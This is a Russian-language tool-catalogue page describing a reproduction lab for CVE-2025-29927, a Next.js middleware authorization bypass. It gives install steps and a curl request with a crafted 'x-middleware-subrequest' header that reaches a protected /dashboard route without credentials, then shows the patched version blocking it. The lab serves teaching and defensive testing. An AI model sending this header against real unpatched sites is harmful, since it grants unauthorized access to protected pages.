Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2025-29927-lab — Лаборатория воспроизведения для CVE-2025-29927 — обход авторизации в промежуточном ПО Next.js (CVSS 9.1) | Kitploit
Инструменты/GitHubGitHub/swapnildeshpande/cve-2025-29927-lab
Анализ уязвимостейЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияОбучение и ОбразованиеЛаборатории и Практика
GitHubswapnildeshpande/cve-2025-29927-lab

cve-2025-29927-lab

Лаборатория воспроизведения для CVE-2025-29927 — обход авторизации в промежуточном ПО Next.js (CVSS 9.1)

Репозиторий
423 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Лаборатория CVE-2025-29927

Минимальная лаборатория воспроизведения для CVE-2025-29927 — обход авторизации промежуточного слоя Next.js (CVSS 9.1).

Сопутствующая статья: N-Day анализ на Medium

Что это такое

Приложение Next.js 15.2.2 (уязвимое) с маршрутом /dashboard, защищённым cookie. Проверку аутентификации в middleware можно обойти, отправив единственный HTTP-заголовок — учётные данные не требуются.

Требования

  • Node.js 18+

Установка

root@kitploit:~
git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install   # pins to Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001

Воспроизведение обхода

Шаг 1 — Убедитесь, что middleware блокирует неаутентифицированные запросы:

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307

Шаг 2 — Обойдите middleware с помощью заголовка subrequest:

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  http://localhost:3001/dashboard
# → 200

Шаг 3 — Обновите до исправленной версии и убедитесь, что обход заблокирован:

root@kitploit:~
npm install [email protected]
# Restart the dev server, then repeat Step 2
# → 307

Маршруты приложения

МаршрутДоступ
/Публичный
/loginПубличный
/dashboardЗащищён middleware (требуется cookie session)

Уязвимые версии

Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5

Ссылки

  • NVD — CVE-2025-29927
  • Патч Next.js PR #77201
  • Уязвимый исходник — sandbox.ts
Скачать инструмент